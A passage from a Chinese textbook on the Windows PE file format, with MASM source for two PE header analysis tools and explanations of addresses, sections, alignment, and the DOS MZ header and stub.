    {"text": "代码清单2-6 DOS头部分的字段比较函数_Header1（chapter2\\pecomp.asm） 1 ;-------------------------------------------- 2 ;IMAGE_DOS_HEADER头信息 3 ;------------------------------------------- 4 _Header1 proc 5 pushad 6 7 invoke _addLine,addr szRec1,esi,edi,2 8 add esi,2 9 add edi,2 10 invoke _addLine,addr szRec2,esi,edi,2 11 add esi,2 12 add edi,2 13 invoke _addLine,addr szRec3,esi,edi,2 14 add esi,2 15 add edi,2 16 invoke _addLine,addr szRec4,esi,edi,2 17 add esi,2 18 add edi,2 19 invoke _addLine,addr szRec5,esi,edi,2 20 add esi,2 21 add edi,2 22 invoke _addLine,addr szRec6,esi,edi,2 23 add esi,2 24 add edi,2 25 invoke _addLine,addr szRec7,esi,edi,2 26 add esi,2 27 add edi,2 28 invoke _addLine,addr szRec8,esi,edi,2 29 add esi,2 30 add edi,2 31 invoke _addLine,addr szRec9,esi,edi,2 32 add esi,2 33 add edi,2 34 invoke _addLine,addr szRec10,esi,edi,2 35 add esi,2 36 add edi,2 37 invoke _addLine,addr szRec11,esi,edi,2 38 add esi,2 39 add edi,2 40 invoke _addLine,addr szRec12,esi,edi,2 41 add esi,2 42 add edi,2 43 invoke _addLine,addr szRec13,esi,edi,2 44 add esi,2 45 add edi,2 46 invoke _addLine,addr szRec14,esi,edi,2 47 add esi,2 48 add edi,2 49 invoke _addLine,addr szRec15,esi,edi,8 50 add esi,8 51 add edi,8 52 invoke _addLine,addr szRec16,esi,edi,2 53 add esi,2 54 add edi,2 55 invoke _addLine,addr szRec17,esi,edi,2 56 add esi,2 57 add edi,2 58 invoke _addLine,addr szRec18,esi,edi,20 59 add esi,20 60 add edi,20 61 invoke _addLine,addr szRec19,esi,edi,4 62 popad 63 ret 64 _Header1 endp DOS头结构中字段e_lpanew的处理在第59～61行。"},
    {"text": "4._addLine函数 该函数完成了在表格中增加一行的操作，具体定义如代码清单2-7所示。 代码清单2-7 在表格中增加一行的函数_addLine（chapter2\\pecomp.asm） 1 ;-------------------------------------------- 2 ;在表格中增加一行 3 ;_lpSZ为第一行要显示的字段名 4 ;_lpSP1为第一个文件该字段的位置 5 ;_lpSP2为第二个文件该字段的位置 6 ;_Size为该字段的字节长度 7 ;-------------------------------------------- 8 _addLine proc _lpSZ,_lpSP1,_lpSP2,_Size 9 pushad 10 11 invoke _ListViewSetItem,hProcessModuleTable,dwCount,-1,\\ 12 _lpSZ ;在表格中新增加一行 13 mov dwCount,eax 14 15 xor ebx,ebx 16 invoke _ListViewSetItem,hProcessModuleTable,dwCount,ebx,\\ 17 _lpSZ ;显示字段名 18 19 invoke RtlZeroMemory,addr szBuffer,50 20 invoke MemCopy,_lpSP1,addr bufTemp2,_Size 21 invoke _Byte2Hex,_Size 22 23 ;将指定字段按照十六进制显示，格式：一个字节+一个空格 24 invoke lstrcat,addr szBuffer,addr bufTemp1 25 inc ebx 26 invoke _ListViewSetItem,hProcessModuleTable,dwCount,ebx,\\ 27 addr szBuffer ;第一个文件中的值 28 29 invoke RtlZeroMemory,addr szBuffer,50 30 invoke MemCopy,_lpSP2,addr bufTemp2,_Size 31 invoke _Byte2Hex,_Size 32 invoke lstrcat,addr szBuffer,addr bufTemp1 33 inc ebx 34 invoke _ListViewSetItem,hProcessModuleTable,dwCount,ebx,\\ 35 addr szBuffer ;第二个文件中的值 36 37 popad 38 ret 39 _addLine endp 显示字段值的同时，会在消息处理函数中调用字节比对函数_MemCmp以确定值是否相同，如果不相同则将表格行的背景色设置为红色以示区别。"},
    {"text": "2.3.4 运行PEComp 2.3.4 运行PEComp 编译资源文件PEComp.rc，编译链接PEComp.asm生成最终的PEComp.exe程序；将随书文件中目录chapter2下的两个测试用文件peinfoNor.bin和peinfoVir.bin重命名，其扩展名都改为exe，然后运行PEComp.exe程序。 依次选择菜单“文件”→“打开”，弹出PE对比对话框窗口，在对话框中选择并打开刚才重命名的两个EXE文件，然后进行对比，运行效果如图2-5所示。 图 2-5 PEComp运行效果 注意 请不要运行以上两个文件，因为peinfoVir.exe是个病毒文件。测试完以后请将扩展名改回原来的\"bin\"。 通过对比可以看出，在两个PE文件的文件头部结构中，字段不相同的部分来自最后一个节的描述。可以初步断定，该病毒程序是通过修改正常程序的最后一个节的相关字段的值来实现病毒代码携带的。 2.4 PEInfo的实现 2.4 PEInfo的实现 PEInfo是PE文件结构查看器，它将PE中的字节码以形象的描述语言显示出来，塑造一个整体的PE形象。通过编写PEInfo，可以锻炼我们使用数据结构定位特定PE信息的能力。 2.4.1 编程思路 这个小工具开发起来也不难，只是过程复杂了一些而已，其编程思路如下： 步骤1 打开文件，判断是否为PE文件。 判断方法非常简单，首先查看IMAGE_DOS_HEADER.e_magic字段，然后查看IMAGE_NT_HEADER.Signature字段；如果符合PE文件定义，则视为合法PE文件。事实上，操作系统在装载PE文件时，对PE文件的检测远比此方法复杂得多。 步骤2 将指针定位到相关数据结构，获取字段内容并以更人性化的方式显示相关内容。 提示 由于我们还没有正式开始学习PE文件格式，而PEInfo编程中涉及PE头部的大量数据结构，所以该部分代码的阅读最好等学习完第3章以后再进行。"},
    {"text": "2.4.2 PEInfo编码 2.4.2 PEInfo编码 编写PEInfo不需要额外的资源文件，复制一份pe.rc到PEInfo.rc即可，源代码依然来自pe.asm。"},
    {"text": "代码清单2-8 _openFile函数实现（chapter2\\peinfo.asm） 1 ;------------------------------ 2 ;打开PE文件并处理 3 ;------------------------------ 4 _openFile proc 5 local @stOF:OPENFILENAME 6 local @hFile,@dwFileSize,@hMapFile,@lpMemory 7 8 invoke RtlZeroMemory,addr @stOF,sizeof @stOF 9 mov @stOF.lStructSize,sizeof @stOF 10 push hWinMain 11 pop @stOF.hwndOwner 12 mov @stOF.lpstrFilter,offset szExtPe 13 mov @stOF.lpstrFile,offset szFileName 14 mov @stOF.nMaxFile,MAX_PATH 15 mov @stOF.Flags,OFN_PATHMUSTEXIST or OFN_FILEMUSTEXIST 16 invoke GetOpenFileName,addr @stOF ;让用户选择打开的文件 17 .if!eax 18 jmp @F 19 .endif 20 invoke CreateFile,addr szFileName,GENERIC_READ,\\ 21 FILE_SHARE_READ or FILE_SHARE_WRITE,NULL,\\ 22 OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL 23 .if eax!=INVALID_HANDLE_VALUE 24 mov @hFile,eax 25 invoke GetFileSize,eax,NULL 26 mov @dwFileSize,eax 27 .if eax 28 invoke CreateFileMapping,@hFile,\\ ;内存映射文件 29 NULL,PAGE_READONLY,0,0,NULL 30 .if eax 31 mov @hMapFile,eax 32 invoke MapViewOfFile,eax,\\ 33 FILE_MAP_READ,0,0,0 34 .if eax 35 ;获得文件在内存中的映像起始位置 36 mov @lpMemory,eax 37 assume fs:nothing 38 push ebp 39 push offset _ErrFormat 40 push offset _Handler 41 push fs:[0] 42 mov fs:[0],esp 43 44 ;检测PE文件是否有效 45 mov esi,@lpMemory 46 assume esi:ptr IMAGE_DOS_HEADER 47 48 ;判断是否有MZ字样 49 .if [esi].e_magic!=IMAGE_DOS_SIGNATURE 50 jmp _ErrFormat 51 .endif 52 53 ;调整esi指针指向PE文件头 54 add esi,[esi].e_lfanew 55 assume esi:ptr IMAGE_NT_HEADERS 56 ;判断是否有PE字样 57 .if [esi].Signature!=IMAGE_NT_SIGNATURE 58 jmp _ErrFormat 59 .endif 60 61 ;到此为止，该文件的验证已经完成。 是PE结构文件 62 ;接下来分析文件映射到内存中的数据，并显示相关信息 63 invoke _getMainInfo,@lpMemory,esi,@dwFileSize 64 ;显示导入表 65 invoke _getImportInfo,@lpMemory,esi,@dwFileSize 66 ;显示导出表 67 invoke _getExportInfo,@lpMemory,esi,@dwFileSize 68 ;显示重定位信息 69 invoke _getRelocInfo,@lpMemory,esi,@dwFileSize 70 ;显示其他信息 71 72 jmp _ErrorExit 73 74 _ErrFormat: 75 invoke MessageBox,hWinMain,offset szErrFormat,\\ 76 NULL,MB_OK 77 _ErrorExit: 78 pop fs:[0] 79 add esp,0ch 80 invoke UnmapViewOfFile,@lpMemory 81 .endif 82 invoke CloseHandle,@hMapFile 83 .endif 84 invoke CloseHandle,@hFile 85 .endif 86 .endif 87 @@: 88 ret 89 _openFile endp 第44～59行代码的功能是检测打开的文件是否符合PE标准。"},
    {"text": "例如，PE的主要信息的显示调用了函数_getMainInfo： invoke _getMainInfo,@lpMemory,esi,@dwFileSize 2._getMainInfo函数 该函数接收三个参数： _lpFile（内存映射文件的起始地址） _lpPeHead（数据结构IMAGE_NT_HEADERS在内存中的起始位置） _dwSize（PE文件大小） 该函数获取PE文件的头部信息并显示，由于实现很简单，就不再详细分析了，如代码清单2-9所示。 代码清单2-9 获取PE文件主要信息的函数_getMainInfo（chapter2\\peinfo.asm） 1 ;---------------------------------------------- 2 ;从内存中获取PE文件的主要信息 3 ;---------------------------------------------- 4 _getMainInfo proc _lpFile,_lpPeHead,_dwSize 5 local @szBuffer [1024]:byte 6 local @szSecName [16]:byte 7 8 pushad 9 mov edi,_lpPeHead 10 assume edi:ptr IMAGE_NT_HEADERS 11 movzx ecx,[edi].FileHeader.Machine ;运行平台 12 movzx edx,[edi].FileHeader.NumberOfSections ;节的数量 13 movzx ebx,[edi].FileHeader.Characteristics ;节的属性 14 invoke wsprintf,addr @szBuffer,addr szMsg,\\ 15 addr szFileName,ecx,edx,ebx,\\ 16 [edi].OptionalHeader.ImageBase,\\ ;包含建议装入的地址 17 [edi].OptionalHeader.AddressOfEntryPoint 18 invoke SetWindowText,hWinEdit,addr @szBuffer ;添加到编辑框中 19 20 ;显示每个节的主要信息 21 invoke _appendInfo,addr szMsgSec 22 movzx ecx,[edi].FileHeader.NumberOfSections 23 add edi,sizeof IMAGE_NT_HEADERS 24 assume edi:ptr IMAGE_SECTION_HEADER 25 .repeat 26 push ecx 27 ;获取节的名称，注意：长度为8的名称，并且不以0结尾 28 invoke RtlZeroMemory,addr @szSecName,sizeof @szSecName 29 push esi 30 push edi 31 mov ecx,8 32 mov esi,edi 33 lea edi,@szSecName 34 cld 35 @@: 36 lodsb 37 .if!al ;如果名称为0，则显示为空格 38 mov al,'' 39 .endif 40 stosb 41 loop @B 42 pop edi 43 pop esi 44 ;获取节的主要信息 45 invoke wsprintf,addr @szBuffer,addr szFmtSec,\\ 46 addr @szSecName,[edi].Misc.VirtualSize,\\ 47 [edi].VirtualAddress,[edi].SizeOfRawData,\\ 48 [edi].PointerToRawData,[edi].Characteristics 49 invoke _appendInfo,addr @szBuffer 50 add edi,sizeof IMAGE_SECTION_HEADER 51 pop ecx 52 .untilcxz 53 54 assume edi:nothing 55 popad 56 ret 57 _getMainInfo endp 其他信息（如导入表、导出表、资源表等）的显示代码将在后续的章节中详细介绍。"},
    {"text": "2.4.3 运行PEInfo 2.4.3 运行PEInfo 编译链接生成PEInfo.exe，然后运行。用该程序打开第1章生成的HelloWorld.exe程序，运行效果见图2-6。 图 2-6 PEInfo运行效果 至此，三个小工具的开发工作就完成了，在后续的章节中，会陆续使用这些小工具完成对PE格式的分析和学习。 2.5 小结 2.5 小结 本章主要学习了如何通过汇编语言来编写基于PE操作的三个小工具，在后面对PE文件的分析中会经常使用这三个小工具。后面会讲到如何利用PEInfo遍历PE文件的导入表和导出表，那时还会用到本章的源代码。大家也可以对这些小工具进行扩展或整合，编写属于自己的PE分析工具。 值得一提的是，随编译器分发的可执行程序中有一个基于命令行的PE文件结构分析工具dumpbin.exe，它是公认的最好的PE分析工具之一，如果你喜欢，也可以用它来代替我们的小程序。"},
    {"text": "PE文件头记录了PE文件中的所有数据的组织方式，它类似于一本书的目录，通过目录我们可以快速定位到某个具体的章节； 通过PE文件头部分对某些数据结构的描述，我们也可以定位到那些不在文件头部的信息，比如导入表数据、导出表数据、资源表数据等。 由于本章涉及PE文件头部的数据结构中大量字段的描述和说明，因此阅读起来会稍显枯燥，但是，在后续的章节中会经常用到本章的内容，所以请大家认真学习。"},
    {"text": "希望读者在学习完PE格式后，不仅能把握PE格式本身，还能够从中学会使用数据结构管理数据的方式，当大家理解其他格式的文件（如音视频格式、数据库文件格式、图片格式等）时会有所启发。"},
    {"text": "目前，使用PE作为可执行文件格式的Windows操作系统已经更换了很多版本。 对于操作系统来说，其结构的变化、新特性的添加、文件存储格式的转换，以及内核的重新定位等，都发生了翻天覆地的变化，而这些变化对PE格式的影响却不大。"},
    {"text": "以上描述的书库可以用如下的几个数据结构来定义。 1.书库数据结构BookStore 根据汇编语言对结构的定义，可以将上面提到的书库描述为以下数据结构： BookStore STRUCT Name db 8 dup(0) ;书库的名字 Address dd ? ;书库所在地址 Count dd ? ;书库中的藏书量 BookStore ENDS 以上结构中包含了书库的名称、所在的地址和书库中的藏书量。 这种定义方式只是概念上的定义，在程序中还需要对该书库进行实例化，代码如下： name1 db '书库一',0 lib1 BookStore ＜?＞ mov ebx,lib1 assume ebx:ptr BookStore invoke MemCopy,addr name1,[ebx].Name ;为书库命名 mov eax,123456h ;确定书库的位置 mov [ebx].Address,eax mov eax,2 ;指定书库的藏量 mov [ebx].Count,eax assume ebx:nothing 如上所示，通过定义变量lib1，实例化一个BookStore结构，然后通过赋值语句为该结构中的每个字段指定不同的值。 2.书库的字节码 在书库结构中有一个字段为BookStore.Address，这个字段是一个地址，这里暂时将这个地址指向的对象称作书库的字节码。 书库的字节码对应这个书库本身，与具体的书没有任何关系，假设由地址123456h来标识（你可以把这个地址理解为12号街34号门5单元6号房间）。 数据结构和字节码都定义好了以后，管理员的日常工作也就明确了：找到书库的位置，知道里面共有多少本书，就这么简单。"},
    {"text": "在程序员眼睛里，新书库的数据组织方式可用如下数据结构表示： ;书库的定义： BookStore STRUCT Name db 8 dup(0) ;书库的名字 Address dd ? ;书库所在地址 Count dd ? ;书库中的藏书量 BookStore ENDS ;书的定义： Book STRUCT Name db 50 dup(0) ;书的名字 Contents dd ? ;书字节码所在地址 Book ENDS 将以上数据结构中的概念实例化的代码如下： name1 db '书库一',0 name2 db '《Windows PE权威指南》',0 lib1 BookStore ＜?＞ book1 Book ＜?＞ book2 Book ＜?＞ bookArray dd offset book1 ;指向第一本书 dd offset book2 ;指向第二本书 dd 0 ;结束 assume ebx:ptr Book invoke MemCopy,addr name1,[ebx].Name ;为书命名 mov eax,234567h ;确定书字节码的位置 mov [ebx].Address,eax assume ebx:nothing ...... ;此处省略了对book2的定义 mov ebx,lib1 assume ebx:ptr BookStore invoke MemCopy,addr name1,[ebx].Name ;为书库命名 mov eax,offset bookArray ;确定书库的位置 mov [ebx].Address,eax mov eax,2 ;指定书库的藏书量 mov [ebx].Count,eax assume ebx:nothing 当我们增加了书的结构定义后，书库一中的Address就有了一个明确的含义。"},
    {"text": "如第10章，加载配置数据的数据结构定义为： IMAGE_LOAD_CONFIG_DIRECTORY STRUCT Characteristics dd ? ;0000h-加载配置属性，一般为48h ...... SecurityCookie dd ? SEHandlerTable dd ? ;0040h-指向安全SEH异常处理函数列表 SEHandlerCount dd ? ;0044h-列表中安全Handler的个数 IMAGE_LOAD_CONFIG_DIRECTORY ENDS 字段SEHandlerTable指向了一个地址数组，该地址数组的个数由SEHandlerCount来定义。"},
    {"text": "地址数组中的每个值都是一个相对虚拟内存地址（RVA），它指向了结构化异常处理函数字节码，加载配置数据的大致组织方式如图3-3所示。"},
    {"text": "图 3-3 加载配置信息中的数据组织示意图 可以简单地套用Windows操作系统管理文件的组织方式：目录类似于这里的BookStore，文件类似于这里的Book，而文件存储在硬盘上的字节码为Book的字节码。"},
    {"text": "3.2 与PE有关的基本概念 3.2 与PE有关的基本概念 在详细了解PE文件结构以前，先学习几个基本的概念。理解这些概念有利于我们更好地把握和分析PE中的数据结构。 3.2.1 地址 PE中涉及的地址有四类，它们分别是： 虚拟内存地址（VA） 相对虚拟内存地址（RVA） 文件偏移地址（FOA） 特殊地址 要想了解这些概念，需要先简单地了解一下32位环境下Windows对内存的管理，以及分页机制的原理。 扩展阅读 32位环境下的Windows内存管理 32位CPU的寻址能力为4GB（即2 32 个字节），但有些用户的物理内存达不到这个值。于是操作系统和CPU的内存管理单元共同作用，为用户提供了虚拟内存的管理机制。即分页机制。该机制可以让用户感觉自己好像在使用4GB的内存。 分页机制的基本原理是： 操作系统假设一个进程独立拥有4GB内存，按照某个固定的大小（如4KB）将这4GB空间分成N（1M）个页。在某一时刻，所有这些页只有一部分和物理内存是对应的（所以这种机制允许物理内存比4GB小）。没有物理内存对应的页面被标记为脏（dirty）的页面，一般存储在一个名为“交换文件”的磁盘文件中。在Windows XP系统中，交换文件为pagefile.sys，它位于系统盘的根目录，是一个系统隐藏文件。当系统需要读取未在内存中的数据时，这部分数据会将内存中不经常读写的页交换出内存，而把要读取的、位于交换文件中的页换进内存。 通过这种存取机制可以让一个进程拥有比实际内存大得多的内存。利用这种机制管理的内存称为虚拟内存。 1.虚拟内存地址 用户的PE文件被操作系统加载进内存后，PE对应的进程支配了自己独立的4GB虚拟空间。在这个空间中定位的地址称为虚拟内存地址（Virtual Address，VA），所以虚拟内存地址的范围是00000000h～0ffffffffh。在PE中，进程本身的VA被解释为：进程的基地址+相对虚拟内存地址。 2.相对虚拟内存地址 一个进程被操作系统加载到虚拟内存空间后，其相关的动态链接库也会被加载。这些同时加载到进程地址空间的文件称为模块。每一个模块在加载时都会有一个基地址，也就是预先告诉操作系统：它会占用4GB空间的哪个部分（即从哪里开始存储该模块）。不同模块的基地址一般是不同的，如果两个模块的基地址相同，就由操作系统来决定这两个模块在虚拟空间中的具体位置。 相对虚拟内存地址（Reverse Virtual Address，RVA）是相对于基地址的偏移，即RVA是虚拟内存中用来定位某个特定位置的地址，该地址的值是这个特定位置距离某个模块基地址的偏移量，所以说RVA是针对某个模块而存在的。 关于VA和RVA的概念，可以用图3-4来表示。 图 3-4 内存地址示意图 如图3-4所示，假设模块2的基地址为0x01000000，而模块2中的某个位置距离模块2的基地址偏移为400h，那么值0x00000400就是模块2中某个位置的RVA，而值0x01000400是该位置的VA。记住，RVA是相对于模块而言的，VA是相对于整个地址空间而言的。 注意 RVA与具体模块相关，它有一个范围，该范围从模块的开始到模块结束，脱离开这个范围的RVA是无效的，称为越界。越界的RVA地址没有任何意义。 3.文件偏移地址 文件偏移地址（File Offset Address，FOA）和内存无关，它是指某个位置距离文件头的偏移。 4.特殊地址 在PE结构中还有一种特殊地址，其计算方法并不是从文件头算起，也不是从内存的某个模块的基地址算起，而是从某个特定的位置算起。这种地址在PE结构中很少见，如在资源表里就出现过这样的地址。 3.2.2 指针 3.2.2 指针 PE数据结构中的指针的定义：如果数据结构中某个字段存储的值为一个地址，那么这个字段就是一个指针。 例如，在3.1节数据组织方式的实例中，BookStore.Address是一个指针，Book.Address也是一个指针。有时候，你还会遇到一个指针指向了另一个指针的情况。比如，在第10章中，加载配置信息中的数据结构加载配置目录（IMAGE_LOAD_CONFIG_DIRECOTRY）的字段SEHandlerTable的值是一个VA，但该指针所指的位置是一个RVA，该RVA指向了安全的SEH处理函数的Handler。所以，在数据结构中，可能会碰到指针和地址交错使用的情况，大家需要引起重视。 3.2.3 数据目录 3.2.3 数据目录 Windows下的可执行文件是PE中的一种，这种文件中除了包含代码及数据段的相关数据以外，还包含许多与文件执行有关的其他数据，比如引用外部函数的信息、PE程序的图标、内部导出函数等，这些数据可能会随着操作系统新特性的出现而增加。 PE中有一个数据结构称为数据目录，其中记录了所有可能的数据类型。这些类型中，目前已定义的有15种，包括导出表、导入表、资源表、异常表、属性证书表、重定位表、调试数据、Architecture、Global Ptr、线程局部存储、加载配置表、绑定导入表、IAT、延迟导入表和CLR运行时头部。"},
    {"text": "3.2.4 节 3.2.4 节 无论是结构化程序设计，还是面向对象程序设计，都提倡程序与数据的独立性，因此，程序中的代码和数据通常是分开存放的。为了保证程序执行的安全，保障内核的稳定，Windows操作系统通常对不同用途的数据设置不同的访问权限。比如，代码段中的字节码在程序运行的时候，一般不允许用户进行修改，数据段则允许在程序运行过程中读和写，常量只能读等。Windows操作系统在加载可执行程序时，会为这些具有不同属性的数据分别分配标记有不同属性的页面（当然，相同属性的数据可能会被放到同一个页面中），以确保程序运行时的安全。正是基于这个原因，PE中才出现了所谓的节的概念。 节就是存放不同类型数据（比如代码、数据、常量、资源等）的地方，不同的节具有不同的访问权限。节是PE文件中存放代码或数据的基本单元。例如，一个目标文件中的所有代码可以组合成单个节，或者每个函数独占一个节（如果编译器行为允许）。增加节的数目会增加文件开销，但是链接器在链接代码时会有更大的选择余地。一个节中的所有原始数据必须被加载到连续的内存空间中。 从操作系统加载角度来看，节是相同属性数据的组合。与数据目录不同的是，尽管有些数据类型不同，分别属于不同的数据目录，但由于其访问属性相同，便被归类到同一个节中。这个节最终可能会占用一个或多个页面；但无论有多少个，所有相关页面均会被赋予相同的页属性。这些属性包括只读、只写、可读、可写等。 汇编语言中以“.”开头的一些伪指令其实就是在声明不同的数据类型。比如\".data\"声明的是初始化的数据，\".data?\"声明的是未初始化的数据，\".code\"声明的是可执行的代码等。Windows操作系统在装载PE文件时会对这些数据执行抛弃、合并、新增、复制等操作。这些不同的操作交叉组合导致了内存中的节和文件中的节会出现很大的不同。例如\".data?\"的数据在磁盘中不存在，但在内存中存在，而\".reloc\"重定位表数据却恰恰相反。 3.2.5 对齐 3.2.5 对齐 对齐这个概念并非只在PE结构中出现，许多文件格式都会有对齐的要求。有的对齐是为了美观，有的对齐则是为了效率。PE中规定了三类对齐：数据在内存中的对齐、数据在文件中的对齐、资源文件中资源数据的对齐。 1.内存对齐 由于Windows操作系统对内存属性的设置以页为单位，所以通常情况下，节在内存中的对齐单位必须至少是一个页的大小。对32位的Windows XP系统来说，这个值是4KB（1000h），而对于64位操作系统来说，这个值就是8KB（2000h）。 2.文件对齐 相对来说，节在磁盘文件中的对齐尺寸没有那么严格。为了提高磁盘利用率，通常情况下，定义的节在文件中的对齐单位要远小于内存对齐的单位；通常会以一个物理扇区的大小作为对齐粒度的值，即512字节，十六进制表示为200h。这就是我们在第1章中看到数据段、代码段等起始地址都是200h的倍数的原因了。 出于节约资源的考虑，操作系统允许节在内存和文件中的对齐尺寸不一致。这就直接造成了PE在文件中和在内存中的大小也会不一致。通常情况下，PE在内存中的尺寸要比在文件中的尺寸大。用户可以自己定义这些对齐的值。 注意 如果内存对齐被定义为小于操作系统页的大小，则文件对齐和内存对齐的值必须一致！ 3.资源数据对齐 资源文件中，资源字节码部分一般要求以双字（4个字节）方式对齐，在资源表部分（详见本书第7章）我们会详细讲解。"},
    {"text": "3.2.6 Unicode字符串 3.2.6 Unicode字符串 Unicode是继ASCⅡ字符编码后的另一种新型字符编码。严格意义上讲，ASCⅡ码的每个字符使用7位表示，Unicode则使用全16位表示一个字符。Unicode字符串中的每个字符均为双字节，所以又称为宽字符串。 由于Unicode兼容ASCⅡ字符，所以被大多数程序所支持，如Windows内核。Unicode的前128个字符码（十六进制，0x0000～0x007F）同ASCⅡ码具有同样的字节值。比如，字母\"a\"的Unicode编码是0x0061，而\"a\"的ASCⅡ编码是0x61。虽然占用的字节数不一样，但是两者的值是一样的。接下来的128个Unicode字符（代码为0x0080～0x00FF）是ISO 8859-1对ASCⅡ码的扩展。中国、日本和韩国的象形文字（总称为CJK）占用了0x3000～0x9FFF的代码。如“汉”字的Unicode编码是6C49h（其GB码为0BABAh）。 本书所有的程序都使用一个字节来表示字符串中的字符，称为ANSI字符串。PE格式中涉及字符串的部分均采用ANSI字符串。然而，在资源表中，对菜单名、对话框标题等的描述则全部使用Unicode字符串。所以，在读取这些资源的字符串时，首先需要使用一些API函数实现从宽字符集到窄字符集的转换。 注意 Unicode字符串不像ANSI字符串那样，保证用字符“\\0”结束；如果开发者在程序设计时以字符“\\0”作为Unicode字符串结尾的判断条件，就可能发生错误。 在汇编语言中，Unicode字符串被定义为一个结构体，它的定义如下： typedef struct _UNICODE_STRING{ USHORT Length ;//字符串的长度（字节数） USHORT MaximumLength ;//字符串缓冲区的长度（字节数） PWSTR Buffer ;//字符串缓冲区 }UNICODE_STRING,*PUNICODE_STRING ; 由于我们无法保证Unicode字符串结尾一定是“\\0”，所以在结构体中，字段Length定义了字符串的长度。一个安全的字符串还必须限定字符的总长度，这由MaximumLength来实现。"},
    {"text": "3.3 PE文件结构 3.3 PE文件结构 PE经历了从16位系统到32位系统的过渡，因此，32位系统下的每一个PE文件都可以在16位系统下运行。尽管PE文件的结构一样，但从不同的角度来看其结构的划分却并不一样。 3.3.1 16位系统下的PE结构 DOS头部分的存在见证了PE的强大兼容性。为了保持与16位系统的兼容，在PE里依旧保留了16位系统下的标准可执行程序执行时所必需的文件头部（DOS MZ头）和指令代码（DOS Stub）。 在16位系统下，PE结构可以大致划分为两部分：DOS头和冗余数据，如图3-5所示。 图 3-5 16位系统下的PE结构划分 如上图所示，在16位系统下，PE的四部分内容被重新组合成两部分——可以在16位系统下运行的DOS头和冗余数据。把Windows下的PE文件存储到DOS系统并运行，它就是DOS系统下的一个EXE文件。 DOS头分为两部分，DOS MZ头和DOS Stub（即指令字节码）。大部分情况下，这些指令实现的功能都非常简单，根本不会涉及重定位信息。再往后的PE头和PE数据区可以看做是16位系统下的可执行文件的冗余数据。 1.DOS MZ头 在Windows的PE格式中，DOS MZ头的定义如下： 如上所示，加粗部分在16位系统下是没有定义的。由于其开始的标志字为\"MZ\"（Mark Zbikowski，他是DOS操作系统的开发者之一），所以称它为“DOS MZ头”。 下面来看第1章提到的HelloWorld.exe的字节数据，HelloWorld中的DOS头如下所示： 注意 这部分内容在源程序HelloWorld.asm中是找不到相应的定义语句的。因为DOS MZ头部分的字节码（包括DOS Stub程序字节码）的添加是由链接程序link.exe自动实现的。 2.DOS Stub HelloWorld.exe文件中，DOS Stub的字节码如下： 由于DOS Stub的大小不固定，因此DOS头的大小也是不固定的。DOS Stub部分是该程序在DOS系统下运行的指令字节码。下面来分析一下DOS Stub中的这些指令都做了哪些工作。 第1章通过DOS命令输出了规则的PE文件字节码，下面还将继续使用DOS命令获取DOS Stub的反汇编代码。 首先将\"HelloWorld.exe\"更名为“123”，然后复制到C:\\Documents and Settings\\administrator中。在命令提示符下输入如下命令（加黑部分）： C:\\Documents and Settings\\administrator＞debug 123 -U 0140 014D 反汇编后得到以下结果： DOS Stub程序的功能很简单，通过调用int 21中断的9号功能，实现在屏幕输出一段字符串。这段字符串提示用户该程序为32位的PE文件，不能运行在DOS环境下。 如果我们更改DOS Stub默认程序的功能，使其能在16位系统下运行，显示信息后再让电脑的喇叭响一下以提示用户，这样可能会更友好一些。这就要在原来的基础上增加新的代码，增加的代码大小不受限制。下面我们就按照刚才的要求修改一下DOS Stub程序。 如果大家对16位汇编语言不陌生，应该选择调用int 21中断的2号功能，就是向标准的输出设备显示一个字符，而ASCⅡ码中的7即是响铃符号。 扩展阅读 【2号功能调用】 功能：向标准输出设备显示字符 输入参数：DL=要显示的字符 出口参数：无 中断号：21h 响铃对应的汇编代码为： mov dl,7 mov ah,2 int 21h 打开Debug程序，输入以下命令： -a 01aa -a命令表示在随后紧跟着的地址01aah处输入汇编代码。 接下来就是输入响铃的汇编代码（注意每行的回车），最后按Ctrl+C告诉Debug结束输入。可使用以下命令查看刚生成的字节码： -d 01aa -d命令显示了响铃功能的字节码为B2 07 B4 02 CD 21。 整个过程如图3-6所示。 图 3-6 汇编响铃代码 使用FlexHex将以上字节码加入到DOS Stub中的21和B8中间，即地址13B7:0148和13B7:0149中间，然后删除24 00后（文件起始地址为0x00000080）的6个字节，并把0Eh更改为14H（知道为什么吗？因为插入的响铃代码已经把要显示的字符串的偏移地址往后移动了6个字节），最后保存。修改过程如图3-7所示。 图 3-7 为DOS Stub添加指令字节码 修改以后的DOS Stub汇编源代码如下所示，其中加粗部分为新增加和修改的地方： 重新启动电脑，利用安装盘进入DOS环境，然后运行修改后的可执行程序，你就会听到喇叭“嘟”的一声。 是不是很有成就感？大家也可以自己尝试编写一些具有特殊功能的16位程序，并练习将这些程序覆盖到DOS Stub部分。 之所以说PE头和PE数据区是16位系统下的可执行文件的冗余数据，是因为这部分内容的存在与否与DOS Stub程序能否执行无关。大家可以尝试使用FlexHex打开HelloWorld.exe，将这部分冗余数据删除，然后保存文件。经过以上修改的HelloWorld.exe依然可以被系统识别并运行。"},
    {"text": "3.3.2 32位系统下的PE结构 3.3.2 32位系统下的PE结构 在16位系统中，PE头和PE数据部分被当成是冗余数据；在32位系统中，刚好相反，即DOS头成为冗余数据。所谓冗余，是针对DOS头不参与32位系统运行过程而言的。尽管该部分不参与运行，但也不能把这些数据从PE结构中除去。因为在DOS MZ头中有一个字段非常重要，即IMAGE_DOS_HEADER.e_lfanew，没有它操作系统就定位不到标准的PE头部，可执行程序也就会被操作系统认为是非法的PE映像。 1.定位标准PE头 由于DOS Stub的长度不固定，导致了DOS头也不是一个固定大小的数据结构。那么，在Windows PE中，既然把DOS头放在了PE的起始位置，如何去定位后面的标准PE头所在的位置呢？字段e_lfanew即起这个作用。该字段的值是一个相对偏移量，绝对定位时需要加上DOS MZ头的基地址。也就是说，通过以下公式可以得出PE头的绝对位置： PE_start=DOS MZ基地址+IMAGE_DOS_HEADER.e_lfanew =13B7:0100+000000B0H =13B7:01B0 对比本书1.6节中代码清单1-2列出的HelloWorld.exe的字节码，可以看到该位置是以ASCⅡ字符\"PE\"开头的，所以，通过字段IMAGE_DOS_HEADER.e_lfanew的值可以定位到PE头的起始位置。 2.PE文件结构 在32位系统下，最重要的部分就是PE头和PE数据区。随着讲解的不断深入，图3-5也会被不断地细化和丰富。32位系统下的PE结构可以划分如图3-8所示。 图 3-8 32位下的PE结构划分 如上图所示，32位系统下的PE文件结构被划分为5个部分，包括： DOS MZ头、DOS Stub、PE头、节表和节内容。 节表和节内容两部分其实就是图3-5中所示的PE数据区。DOS 